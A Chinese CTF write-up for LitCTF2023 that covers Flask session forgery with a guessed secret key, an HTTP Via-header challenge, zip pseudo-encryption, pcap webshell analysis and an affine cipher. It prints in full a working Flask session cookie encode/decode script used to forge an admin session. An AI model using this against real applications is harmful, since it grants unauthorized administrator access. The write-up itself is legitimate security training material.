LitCTF2023

HERE WE GO

这里放一下团队的整体情况吧,校外赛道真的好卷

WEB Flag点击就送


此时提示我们需要是管理员admin才可以获得flag;此时我们经过尝试发现了我们的session

然后此时发现此题的框架为flask的框架结构;此时便联想到了flask框架的session伪造

一般来说我们在进行flask框架的session伪造时是需要一个secret_key

1
2
secret_key:
在 Flask 中,SECRET_KEY 是一个用于加密会话数据的关键设置。会话(Session)是一种在客户端和服务器之间存储数据的机制,用于跟踪用户的状态和存储用户的敏感信息。在会话中存储的数据会被加密,并在客户端和服务器之间传输。当用户与应用程序建立会话时,服务器会将会话数据存储在服务器端,并生成一个唯一的会话标识符(sessionID),发送给客户端浏览器。客户端浏览器将会话标识符存储在 Cookie 中,以便在后续的请求中发送给服务器。为了保护会话数据的安全性,Flask使用SECRET_KEY对会话数据进行加密和解密操作。这个密钥被用于生成加密会话数据的签名,并在解密时验证签名的有效性。只有拥有相同的SECRET_KEY 的服务器才能够正确解密和验证会话数据。因此,在进行会话伪造时,攻击者需要知道应用程序使用的SECRET_KEY才能够成功地生成有效的伪造会话数据。如果攻击者没有正确的 SECRET_KEY,会话数据将无法被正确解密和验证,从而阻止了会话伪造攻击。

此时我们使用dirsearch进行后台扫描发现发现并没有出现源码泄露;此时的secret_key只能靠猜了;结合本次比赛的名称可以猜出key=LitCTF;此时利用脚本来
帮助我们进行一个伪造admin的session的操作。
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface


class MockApp(object):

def __init__(self, secret_key):
self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)

session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e

def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if (secret_key == None):
compressed = False
payload = session_cookie_value

if payload.startswith('.'):
compressed = True
payload = payload[1:]

data = payload.split(".")[0]

data = base64_decode(data)
if compressed:
data = zlib.decompress(data)

return data
else:
app = MockApp(secret_key)

si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)

session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e

def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if (secret_key == None):
compressed = False
payload = session_cookie_value

if payload.startswith('.'):
compressed = True
payload = payload[1:]

data = payload.split(".")[0]

data = base64_decode(data)
if compressed:
data = zlib.decompress(data)

return data
else:
app = MockApp(secret_key)

si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e

if __name__ == "__main__":
# Args are only relevant for __main__ usage

## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")

## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)

## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
help='Session cookie value', required=True)

## get args
args = parser.parse_args()

## find the option chosen
if (args.subcommand == 'encode'):
if (args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif (args.subcommand == 'decode'):
if (args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value, args.secret_key))
elif (args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))
#解密:python flask_session_cookie_manager3.py decode -s “secret_key” -c “需要解密的session值”
#加密:python flask_session_cookie_manager3.py encode -s “secret_key” -t “需要加密的session值”


然后使用bp拦截请求包后修改session然后重新发包即可

WEB Http pro max plus

其实这题还好就是考到了一个陌生的HTTP请求头Via

1
2
3
Via:
当客户端请求到达第一个代理服务器时,该服务器会在自己发出的请求里面添加Via头部,并填上自己的相关信息,当下一个代理服务器收到第一个代理服务器的请求时,会在自己发出的请求里面复制前一个代理服务器的请求的Via头部,并把自己的相关信息加到后面,以此类推,当OCS收到最后一个代理服务器的请求时,检查 Via 头部,就知道该请求所经过的“路由”。
说白一点也就是告知代理客户端响应是通过哪里发送的。

以下是收集的比较常见的请求头:


MISC easy_shark

在解压这个压缩包时发现需要密码,并且题目中并没有提示,此时我们最先考虑的是伪加密,因为是zip包,所以此时在504B在往后推六个字节,若是碰到09的改为00即可破解伪加密

此时根据题意我们知道flag被进行了加密;并且需要我们找到木马连接的key;此时我们通过题目知道黑客上传了木马,根据以往的经验我们可以知道此时可以先过滤一下http流看看

此时我们果然看到了一个上传的文件,我们此时追踪一下tcp流看看

此时发现了木马连接的key为a;继续寻找被加密的flag;此时我们可以选择导出特定分组来找也可以在过滤http之后来找

此时发现一个方程;后面得知我们需要把方程里面的那个异或符号当作乘号来处理;那么此时方程的解即为17和77;此时发现有两个参数,此时可以联想到仿射密码,因为仿射密码是一种替换密码,刚好是一个字母对应一个字母的

MISC ssvvgg